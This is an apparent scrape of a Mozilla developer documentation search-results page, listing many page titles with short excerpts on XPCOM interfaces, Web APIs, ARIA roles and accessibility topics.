in a js_threadsafe build, the caller must be in a request on this jscontext.
... the caller must ensure that the jsclass remains alive throughout the lifetime of the new object, including the garbage collection cycle that finally frees it.
...it initially has no prototype either, since it is typically the first object created; call js_initstandardclasses to create all the standard objects, including object.prototype, and set the global object's prototype.
...And 8 more matches
JS_SetErrorReporter
get or specify the error reporting mechanism for an application.
... er jserrorreporter the user-defined error reporting function to use in your application, described below.
... callback syntax typedef void (* jserrorreporter)(jscontext *cx, const char *message, jserrorreport *report); name type description cx jscontext * the context in which the error happened.
...And 8 more matches
XForms Accessibility
get build subsections below explain how you can obtain accessible xforms-enabled build.
... you can try the following link to test xforms accessibility: visual xforms elements in xhtml document at bugzilla.mozilla.org visual xforms elements in xul document at bugzilla.mozilla.org you can see xforms sample tests at mozilla xforms project there are set of tests at beaufour.dk w3c's xforms test at w3.org keyboard navigation issues navigation sequence though xforms spec declares navinde...
...x attribute to define the navigation sequence (see 1.0 specs or 1.1 specs) but rich schwerdtfeger (distinguished engineer, swg accessibility architect/strategist chair, ibm accessibility architecture review board) gave some clarification about navindex.
...And 8 more matches
Creating a Python XPCOM component
creating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
... tip: you can achieve a copy of binary of pyxpcom from pythonext; simply unpack xpi and take everything you need.
... if you wish to use pyxpcom from a normal python executable, you will need to tell python where it can find the pyxpcom library.
...And 8 more matches
How to build a binary XPCOM component using Visual Studio
xpcom components can be implemented in c, c++, and javascript, and can be used from c, c++, and javascript.
... that means you can call javascript methods from c++ and vice versa.
...the tutorial assumes the folder is called xulrunner-1.8.0.4, but you can call yours whatever you want.
...And 8 more matches
XPConnect wrappers
this document is a high-level overview of xpconnect wrapper objects (for the more technical description see xpconnect security membranes).
... for practical advice on dealing with wrappers, see safely accessing content dom from chrome.
... note: wrappers can appear in the console log; for example "[object xraywrapper [object blah]]".
...And 8 more matches
IAccessibleHyperlink
non-text objects can have either a single link or a collection of links such as when the non-text object is an image map.
...this interface provides access to a single object which can have multiple actions.
...this interface could also be applied to other kinds of objects with multiple actions such as "smart tags" which are objects, typically strings, which have multiple actions such as "activate uri", "bookmark uri", end so on.
...And 8 more matches
nsIAccessibleDocument
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can queryinterface to nsiaccessibledocument from the nsiaccessible or nsiaccessnode for the root node of a document.
... you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method overview nsiaccessible getaccessibleinparentchain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in voidptr auniqueid); native code only!
... obsolete since gecko 2.0 astring getnamespaceuriforid(in short namespaceid); attributes attribute type description caretaccessible nsiaccessible read only.
...And 8 more matches
nsIAnnotationService
(in long long asourceitemid, in long long adestitemid, in boolean aoverwritedest); void addobserver(in nsiannotationobserver aobserver); void removeobserver(in nsiannotationobserver aobserver); nsiuri getannotationuri(in nsiuri auri, in autf8string aname); constants constant value description expire_session 0 for temporary data that can be discarded when the user exits.
... removed at application exit.
...favicons are stored in the favicon service, but are special cased in the protocol handler so they look like annotations.
...And 8 more matches
nsIChromeRegistry
chrome/public/nsichromeregistry.idlscriptable provides access to the chrome registry; you can use this to get information about chrome documents that have been registered.
... inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants constant value description none 0 partial 1 full 2 methods canonify() obsolete since gecko 1.8 (fi...
...converts a chrome url into a canonical representation by ensuring that the filename portion of the url is included, as in chrome://package/provider/file.
...And 8 more matches
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigi...
...calls to this may trigger violation reports when queried, so this value should not be cached.
...calls to this may trigger violation reports when queried, so this value should not be cached.
...And 8 more matches
nsICookieService
this separation of interface is mainly historical.
... var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications this service broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
... there are four possible data strings for this notification; one notification will be broadcast for each change.
...And 8 more matches
nsIDownload
this interface is deprecated as of firefox 26.
...completed states are nsidownloadmanager::download_finished, nsidownloadmanager::download_failed, and nsidownloadmanager::download_canceled.
... cancelable nsicancelable an object that can be used to cancel the download.
...And 8 more matches
nsIEffectiveTLDService
it can also determine the base domain of a uri.
...to use this service, use: var etldservice = components.classes["@mozilla.org/network/effective-tld-service;1"] .getservice(components.interfaces.nsieffectivetldservice); the name "effective tld service" is a historical one; today, the items this interface manipulates are called public suffixes, and the list of them is the public suffix list, or psl.
...therefore, if you call getpublicsuffix("a.b.c.nonexistent"), you will get back "nonexistent" - this "tld" is not in the public suffix list, but the implicit "*" rule means that it is returned.
...And 8 more matches
nsIIdleService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) you can get the idle time directly, but in most cases you will want to register an observer for a predefined interval.
... the observer will get an 'idle' notification when the user is idle for that interval (or longer), and receive a 'back' (gecko 3 to 15) or 'active' (gecko 16+) notification when the user starts using their computer again.
... note: the idle service is for computer-wide idle detection, not just application idle detection.
...And 8 more matches
nsIJetpack
js/jetpack/nsijetpack.idlscriptable this interface enables communication between the chrome process and a remote jetpack process.
... registerreceiver() this registers a callback to be triggered whenever the jetpack process sends a particular message.
... note: multiple callbacks may be registered for the same message; they will all be triggered.
...And 8 more matches
nsIPermissionManager
type a unique, case-sensitive ascii string identifying the consumer.
...it is internally calling add() method using the nsiuri from the principal.
... type a unique, case-sensitive ascii string identifying the consumer.
...And 8 more matches
nsIPrefBranch2
this can be the name of an entire branch to observe.
... for example holding the "root" prefbranch and calling addobserver("foo.bar.", ...) will observe changes to foo.bar.baz and foo.bar.bzip.
... note: you must call removeobserver method on the same nsiprefbranch2 instance on which you called addobserver() method in order to remove aobserver; otherwise, the observer will not be removed.
...And 8 more matches
nsIProcessScriptLoader
process scripts are loaded as soon as loadprocessscript() is called.
... if this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes.
... if aallowdelayedload is true, then the script will also be loaded into any new child processes created after the loadprocessscript() call.
...And 8 more matches
nsIRadioInterfaceLayer
to create an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void regist...
...erdatacallcallback(in nsirildatacallback callback); void rejectcall(in unsigned long callindex); void sendsms(in domstring number, in domstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsirildatacallback callback); attributes attribute type description currentstate jsval read only.
... speakerenabled bool constants call state constants constant value description call_state_unknown 0 call_state_dialing 1 call_state_alerting 2 call_state_busy 3 call_state_connecting 4 call_state_connected 5 call_state_holding 6 call_state_held 7 call_state_resuming 8 call_state_disconnecting 9 call_state_disconnected 10 call_state_incoming 11 datacall_state_unknown 0 datacall_state_connecting 1 datacall_state_connected 2 datacall_state_disconnecting 3 datacall_state_disconnected 4 call_state_ringing 2 obsolete since gecko 14.0 methods answercall() void answercall( in unsigned long callindex ); parameters callindex missing des...
...And 8 more matches
nsIStringBundleService
intl/strres/nsistringbundle.idlscriptable provides the string bundle service, which provides a way to fetch localized strings from a property file.
...this is typically a locale url, e.g.
... chrome://global/locale/global.properties return value a string bundle corresponding to the properties file.
...And 8 more matches
nsIWebContentHandlerRegistrar
xpfe/appshell/public/nsiwebcontenthandlerregistrar.idlscriptable applications wishing to use web content handlers need to implement this interface.
... typically they will prompt the user to confirm adding an entry to the local list.
... contentwindow the dom content window from which the method has been called.
...And 8 more matches
nsIWebSocketChannel
notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization and so forth.
...this is used in the case of a redirect or uri "resolution" (for example resolving a resource: uri to a file: uri) so that the original pre-redirect uri can still be obtained.
... 1001 close_going_away the endpoint is going away, either because of a server failure or because the browser is navigating away from the page that opened the connection.
...And 8 more matches
nsIWebSocketListener
netwerk/protocol/websocket/nsiwebsocketlistener.idlscriptable implement this interface to receive websocket traffic events asynchronously after calling nsiwebsocketchannel.asyncopen().
...binarymessageavailable(in nsisupports acontext, in acstring amsg); void onmessageavailable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsresult astatuscode); methods onacknowledge() called to acknowledge a message sent via nsiwebsocketchannel.sendmsg() or nsiwebsocketchannel.sendbinarymsg().
... onbinarymessageavailable() called when a binary message has been received.
...And 8 more matches
XPCOM reference
core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface.
... there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder.
...rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_falsethis was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_errorthrows a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (stderr) and to debug logs (nspr logging).
...And 8 more matches
XPCOM ABI
while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
... often, compiled xpcom components are called 'binary' or 'native'.
...only applications which use this abi could use this xpcom component.
...And 8 more matches
XPCOM tasks
it was last edited in 2003 and is probably of historical interest only.
...it overlaps them significantly, but goes beyond them in capabilities.
...its role is to extend them with facilities tailored to xpcom development in general, and specifically the needs of mozilla.
...And 8 more matches
nsCOMPtr versus RefPtr
since nscomptr stores the pointer as an nsisupports*, it must be possible to unambiguously cast from t* to nsisupports*.
... many concrete classes inherit from nsisupports in more than one way, so they cannot be unambiguously cast to nsisupports*.
... thus, these concrete classes cannot be used with nscomptr.
...And 8 more matches
Mailnews and Mail code review requirements
mike conley (:mconley) can also provide useful feedback, but blake is the current ultimate decider for ui choices in thunderbird.
... rules for all patches affecting mailnews/ and mail/ wherever possible, significant patches in a certain area should be reviewed by one of the listed sub-module owner/reviewers.
... super-review is required in certain situations: significant architectural refactoring, any change to any api, all changes that affect how code modules interact.
...And 8 more matches
ctypes.open
this must be called before any work can commence.
...a native file for use on unix systems is an so file, which is created and a c function called add() is written.
... int add(int a, int b) { return a + b; } to make this a shared library, a native file which can be loaded and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created.
...And 8 more matches
Tree map view - Firefox Developer Tools
a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles".
... for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement.
... each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category.
...And 8 more matches
AesGcmParams - Web APIs
for details of how to supply appropriate values for this parameter, see the specification for aes-gcm: nist sp800-38d, in particular section 5.2.1.1 on input data.
...this must be unique for every encryption operation carried out with a given key.
...the aes-gcm specification recommends that the iv should be 96 bits long, and typically contains bits from a random number generator.
...And 8 more matches
Blob - Web APIs
WebAPIBlob
the blob object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a readablestream so its methods can be used for processing the data.
... blobs can represent data that isn't necessarily in a javascript-native format.
... constructor blob() returns a newly created blob object which contains a concatenation of all of the data in the array passed into the constructor.
...And 8 more matches
CSSRule - Web APIs
WebAPICSSRule
cssrule.parentstylesheet read only returns the cssstylesheet object for the style sheet that contains this rule cssrule.type read only one of the type constants indicating the type of css rule.
... constants type constants the cssrule interface specifies integer constants that can be used in conjunction with a cssrule's type property to discern the rule type (and therefore, which specialized interface it implements).
... cssrule.font_feature_values_rule 14 cssfontfeaturevaluesrule cssrule.viewport_rule 15 cssviewportrule cssrule.region_style_rule 16 cssregionstylerule cssrule.unknown_rule 0 cssunknownrule cssrule.charset_rule 2 csscharsetrule (removed in most browsers.) an up-to-date informal list of constants can be found on the csswg wiki.
...And 8 more matches
Content Index API - Web APIs
the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker.
... the browser can then use these entries to display offline reading to a user.
... as a developer you can also display these entries within your application.
...And 8 more matches
DOMHighResTimeStamp - Web APIs
this type can be used to describe a discrete point in time or a time interval (the difference in time between two discrete points in time).
... the time, given in milliseconds, should be accurate to 5 µs (microseconds), with the fractional part of the number indicating fractions of a millisecond.
... however, if the browser is unable to provide a time value accurate to 5 µs (due, for example, to hardware or software constraints), the browser can represent the value as a time in milliseconds accurate to a millisecond.
...And 8 more matches
DataTransfer - Web APIs
datatransfer.files contains a list of all the local files available on the data transfer.
... datatransfer.mozsourcenode read only the node over which the mouse cursor was located when the button was pressed to initiate the drag operation.
... this value is null for external drags or if the caller can't access the node.
...And 8 more matches
Detecting device orientation - Web APIs
increasingly, web-enabled devices are capable of determining their orientation; that is, they can report data indicating changes to their orientation with relation to the pull of gravity.
... in particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height.
...by receiving and processing the data reported by these orientation events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device.
...And 8 more matches
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
contextnode specifies the context node for the query (see the xpath specification).
...it will be used to resolve prefixes within the xpath itself, so that they can be matched with the document.
...generally, more specific xpath selectors as in the above example usually gives a significant performance improvement, especially on very large documents.
...And 8 more matches
Document.readyState - Web APIs
syntax var string = document.readystate; values the readystate of a document can be one of following: loading the document is still loading.
...the state indicates that the load event is about to fire.
... examples different states of readiness switch (document.readystate) { case "loading": // the document is still loading.
...And 8 more matches
Element.requestFullscreen() - Web APIs
note: this method must be called while responding to a user interaction or a device orientation change; otherwise it will fail.
...the default value is "auto", which indicates that the browser should decide what to do.
... the element is not permitted to use the "fullscreen" feature, either because of feature policy configuration or other access control features.
...And 8 more matches
Event.eventPhase - Web APIs
WebAPIEventeventPhase
the eventphase read-only property of the event interface indicates which phase of the event flow is currently being evaluated.
... event.capturing_phase 1 the event is being propagated through the target's ancestor objects.
...event listeners registered for capture mode when eventtarget.addeventlistener() was called are triggered during this phase.
...And 8 more matches
EventSource - Web APIs
the connection remains open until closed by calling eventsource.close().
... when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6).
...this limit is per browser + domain, so that means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com.
...And 8 more matches
FileSystemEntry.copyTo() - Web APIs
the filesystementry interface's method copyto() copies the file specified by the entry to a new location on the file system.
... there are some typical restrictions on what you can do: a directory can't be copied into itself.
... an entry can't be copied into its parent directory unless you specify a new name.
...And 8 more matches
FileSystemEntry.remove() - Web APIs
directories must be empty before they can be removed.
... to recursively remove a directory as well as all of its contents and its subdirectories, call filesystemdirectoryentry.removerecursively() instead.
... syntax filesystementry.remove(successcallback[, errorcallback]); parameters successcallback a function which is called once the file has been successfully removed.
...And 8 more matches
FileSystemFileEntry.file() - Web APIs
the filesystemfileentry interface's method file() returns a file object which can be used to read data from the file represented by the directory entry.
... syntax filesystemfileentry.file(successcallback[, errorcallback]); parameters successcallback a callback function which is called when the file has been created successfully; the file is passed into the callback as the only parameter.
... errorcallback optional if provided, this must be a method which is called when an error occurs while trying to create the file.
...And 8 more matches
FileSystemFileEntry - Web APIs
it offers properties describing the file's attributes, as well as the file() method, which creates a file object that can be used to read the file.
... methods file() creates a new file object which can be used to read the file.
... basic concepts to write content to file, create a filewriter object by calling createwriter().
...And 8 more matches
Using FormData Objects - Web APIs
it is primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data.
... creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
...the number assigned to the field "accountnum" is immediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string).
...And 8 more matches
Frame Timing API - Web APIs
an application can register a performanceobserver for "frame" performance entry types.
... the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available.
... this data can be used to help identify areas that take too long to provide a good user experience.
...And 8 more matches
HTMLImageElement.align - Web APIs
the obsolete align property of the htmlimageelement interface is a string which indicates how to position the image relative to its container.
... you should instead use the css propertiy vertical-align, which does in fact also work on images despite its name.
... you can also use the float property to float the image to the left or right margin.
...And 8 more matches
HTMLTableSectionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fi...
...it indicates the alignment of the element's contents with respect to the surrounding context.
...the htmlcollection is live and is automatically updated when rows are added or removed.
...And 8 more matches
IntersectionObserver.IntersectionObserver() - Web APIs
the rootmargin, if specified, is checked to ensure it's syntactically correct, the thresholds are checked to ensure that they're all in the range 0.0 and 1.0 inclusive, and the threshold list is sorted in ascending numeric order.
... syntax var observer = new intersectionobserver(callback[, options]); parameters callback a function which is called when the percentage of the target element is visible crosses a threshold.
... the callback receives as input two parameters: entries an array of intersectionobserverentry objects, each representing one threshold which was crossed, either becoming more or less visible than the percentage specified by that threshold.
...And 8 more matches
KeyboardEvent.code - Web APIs
the keyboardevent.code property represents a physical key on the keyboard (as opposed to the character generated by pressing the key).
... if the input device isn't a physical keyboard, but is instead a virtual keyboard or accessibility device, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices.
... this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
...And 8 more matches
MediaRecorder.start() - Web APIs
you can record the entire duration of the media into a single blob (or until you call requestdata()), or you can specify the number of milliseconds to record at a time.
... then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream.
...if this parameter isn't included, the entire media duration is recorded into a single blob unless the requestdata() method is called to obtain the blob and trigger the creation of a new blob into which the media continues to be recorded.
...And 8 more matches
MediaSession.setActionHandler() - Web APIs
these actions let a web app receive notifications when the user engages a device's built-in physical or onscreen media controls, such as play, stop, or seek buttons.
... syntax navigator.mediasession.setactionhandler(type, callback) parameters type a domstring representing an action type to listen for.
...further details on the action types can be found below under media session actions.
...And 8 more matches
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received from a mediastream obtained using the webrtc or media capture and streams apis.
... this media could be from a microphone (through getusermedia()) or from a remote peer on a webrtc call (using the rtcpeerconnection's audio tracks).
... usage notes typically, you should probably not use this type of node.
...And 8 more matches
MediaStreamTrack.applyConstraints() - Web APIs
the applyconstraints() method of the mediastreamtrack interface applies a set of constraints to the track; these constraints let the web site or app establish ideal values and acceptable ranges of values for the constrainable properties of the track, such as frame rate, dimensions, echo cancelation, and so forth.
... constraints can be used to ensure that the media meets certain guidelines you prefer.
...constraints can also specify ideal and/or acceptable sizes or ranges of sizes.
...And 8 more matches
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured video.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 8 more matches
MediaTrackSettings.deviceId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.deviceid property you provided when calling either getusermedia().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 8 more matches
Media Source API - Web APIs
using mse, media streams can be created via javascript, and played using <audio> and <video> elements.
... media source extensions concepts and usage playing video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks.
... we can't, for example, combine/split arraybuffers.
...And 8 more matches
Navigation Timing API - Web APIs
the navigation timing api provides data that can be used to measure the performance of a web site.
... unlike javascript-based libraries that have historically been used to collect similar information, the navigation timing api can be much more accurate and reliable.
...there is a specification for level 2, but it is not yet covered here.
...And 8 more matches
Node.appendChild() - Web APIs
WebAPINodeappendChild
this means that a node can't be in two points of the document simultaneously.
...the node.clonenode() method can be used to make a copy of the node before appending it under the new parent.
... note that the copies made with clonenode will not be automatically kept in sync.
...And 8 more matches
PerformanceEventTiming - Web APIs
auxclick beforeinput click compositionend compositionstart compositionupdate contextmenu dblclick dragend dragenter dragleave dragover dragstart drop input keydown keypress keyup mousedown mouseenter mouseleave mouseout mouseover mouseup pointerover pointerenter pointerdown pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercapture touchstart touchend touchcancel properties performanceeventtiming.processingstart returns the time at which event dispatch started.
... performanceeventtiming.cancelable returns the associated event's cancelable attribute.
...observer.observe({entrytypes: ["event"]}); we can also directly query the first input delay.
...And 8 more matches
RTCConfiguration.iceTransportPolicy - Web APIs
the webrtc device api dictionary rtcconfiguration's icetransportpolicy property is a string indicating the transport selection policy the ice agent should use during negotiation of connections.
... syntax let rtcconfiguration = { icetransportpolicy: policy }; rtcconfiguration.icetransportpolicy = policy; let policy = rtcconfiguration.icetransportpolicy; value a domstring which indicates what ice candidate policy the ice agent should use during the negotiation process, per the jsep standard.
... the permitted values are: all the ice agent is permitted to use any kind of candidate, including both local and relay candidates.
...And 8 more matches
RTCPeerConnection.setConfiguration() - Web APIs
the most common use case for this method (and even then, probably not a very common use case) is to replace the set of ice servers to be used.
...if, for example, the rtcpeerconnection() constructor was called with no parameters, you would have to then call setconfiguration() to add ice servers before ice negotiation could begin.
...in this situation, one might call setconfiguration() to switch to new regional ice servers, then initiate an ice restart.
...And 8 more matches
Request() - Web APIs
WebAPIRequestRequest
this can either be: a usvstring containing the direct url of the resource you want to fetch.
...note the following behavioural updates to retain security while making the constructor less likely to throw exceptions: if this object exists on another origin to the constructor call, the request.referrer is stripped out.
... body: any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object.
...And 8 more matches
Screen.lockOrientation() - Web APIs
a screen is considered in its primary portrait mode if the device is held in its normal position and that position is in portrait, or if the normal position of the device is in landscape and the device held turned by 90° clockwise.
...a screen is considered in its secondary portrait mode if the device is held 180° from its normal position and that position is in portrait, or if the normal position of the device is in landscape and the device held is turned by 90° anticlockwise.
... landscape-primary it represents the orientation of the screen when it is in its primary landscape mode.
...And 8 more matches
Selection API - Web APIs
concepts and usage to retrieve the current text range the user has selected, you can use the window.getselection() or document.getselection() method, storing the return value — a selection object — in a variable for futher use.
... you can run code in response to the selection being changed, or a new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers.
... selection api interfaces selection represents the range of text selected by the user or the current position of the caret.
...And 8 more matches
Text.wholeText - Web APIs
WebAPITextwholeText
the text.wholetext read-only property returns the full text of all text nodes logically adjacent to the node.
... the text is concatenated in document order.
... <strong>no insipid election coverage!</strong> however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preserving the hyperlink.
...And 8 more matches
URL - Web APIs
WebAPIURL
you normally create a new url object by specifying the url as a string when calling its constructor, or by providing a relative url and a base url.
... you can then easily read the parsed components of the url or make changes to the url.
... if a browser doesn't yet support the url() constructor, you can access a url object using the window interface's window.url property.
...And 8 more matches
Visual Viewport API - Web APIs
the visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
...user-interface features like the on-screen keyboard (osk) can shrink the visual viewport without affecting the layout viewport.
... to access a window's visual viewport, you can obtain a visualviewport object from the window.visualviewport property.
...And 8 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
webgl does so by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements.
... the <canvas> element is also used by the canvas api to do 2d graphics on web pages.
... reference standard interfaces webglrenderingcontext webgl2renderingcontext webglactiveinfo webglbuffer webglcontextevent webglframebuffer webglprogram webglquery webglrenderbuffer webglsampler webglshader webglshaderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject extensions angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_mipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_textur...
...And 8 more matches
Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies.
... localstorage does the same thing, but persists even when the browser is closed and reopened.
... stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data.
...And 8 more matches
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
it behaves the same, except that it can optionally take one or more parameters past windowfeatures, and windowfeatures itself is treated a little differently.
... the call to opendialog() returns immediately.
... if you want the call to block until the user has closed the dialog, supply modal as a windowfeatures parameter.
...And 8 more matches
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
was the used ssl certificate valid and what are its details (owner, expiration, certificate authority, etc.)?
... notes: this code requires elevated privileges to run; you can only call it from a browser extension or from a xulrunner application.
... by setting the mozbackgroundrequest property of the request object and modifying the example appropriately, you can create your own alert dialog to handle ssl exceptions in your firefox extension or xulrunner application.
...And 8 more matches
XRReferenceSpaceType - Web APIs
this type is used when calling the requestreferencespace() method to obtain a reference space for an xrsession.
...the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... reference space descriptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
...And 8 more matches
XSL Transformations in Mozilla FAQ - Web APIs
make sure the mime type for both source and stylesheet are set to an xml mimetype, namely text/xml or application/xml.
...the most common cause is the mime type handling.
... note: starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets.
...And 8 more matches
Using the aria-invalid attribute - Accessibility
the aria-invalid attribute is used to indicate that the value entered into an input field does not conform to the format expected by the application.this may include formats such as email addresses or telephone numbers.
... aria-invalid can also be used to indicate that a required field has not been filled in.the attribute should be programmatically set as a result of a validation process.
... this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
...And 8 more matches
ARIA: Complementary role - Accessibility
the complementary landmark role is used to designate a supporting section that relates to the main content, yet can stand alone when separated.
... these sections are frequently presented as sidebars or call-out boxes.
...landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
...And 8 more matches
ARIA: form role - Accessibility
the form landmark role can be used to identify a group of elements on a page that provide equivalent functionality to an html form.
... using the <form> element will automatically communicate a section of content as a form landmark, if it is provided an accessible name.
...anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest.
...And 8 more matches
ARIA: Main role - Accessibility
the main landmark role is used to indicate the primary content of a document.
... the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application.
... <div id="main" role="main"> <h1>avocados</h1> <!-- main section content --> </div> this is the main section of a document that discusses avocados.
...And 8 more matches
Media events - Developer guides
